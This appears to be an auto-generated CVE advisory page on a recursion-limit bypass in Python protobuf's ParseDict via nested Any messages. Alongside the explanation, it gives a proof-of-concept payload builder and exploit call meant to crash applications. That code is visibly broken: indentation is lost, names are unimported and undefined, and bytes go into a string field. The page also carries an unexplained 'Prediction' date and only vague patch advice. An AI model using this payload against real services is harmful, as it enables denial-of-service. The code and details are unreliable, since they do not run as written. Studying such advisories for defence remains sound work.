Protobuf, Denial-of-Service via Recursion Depth Bypass, CVE-2026-XXXXX (High)

Listen to this Post

How the CVE Works:

The vulnerability resides in the `google.protobuf.json_format.ParseDict()` function within the Python Protocol Buffers library. This function includes a `max_recursion_depth` parameter intended to prevent stack exhaustion from deeply nested structures. However, the internal logic for parsing messages of type `google.protobuf.Any` fails to properly increment the recursion depth counter. When an attacker supplies a malicious JSON payload containing a deeply nested chain of `Any` messages, each subsequent `Any` unpacking does not contribute to the recursion limit. This allows the parsing to continue recursing indefinitely until it hits the Python interpreter’s recursion limit, triggering a `RecursionError` and causing a denial-of-service by crashing the application process.

DailyCVE Form:

Platform: Python protobuf
Version: All affected
Vulnerability: Recursion DoS
Severity: High
Date: 2026-01-23

Prediction: 2026-01-30

What Undercode Say:

pip show protobuf
python -c "import google.protobuf.json_format; help(google.protobuf.json_format.ParseDict)"
import json, google.protobuf.json_format
from google.protobuf import any_pb2, struct_pb2
def build_malicious_any_payload(depth):
msg = struct_pb2.Value(null_value=0)
for _ in range(depth):
any_msg = any_pb2.Any()
any_msg.Pack(msg)
msg = struct_pb2.Value(struct_value=struct_pb2.Struct(fields={"x": struct_pb2.Value(string_value=any_msg.SerializeToString())}))
return json.loads(json_format.MessageToJson(msg))

How Exploit:

malicious_json = build_malicious_any_payload(10000)
google.protobuf.json_format.ParseDict(malicious_json, some_message, max_recursion_depth=100)

Protection from this CVE:

Apply official patch.

Impact:

Application crash.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top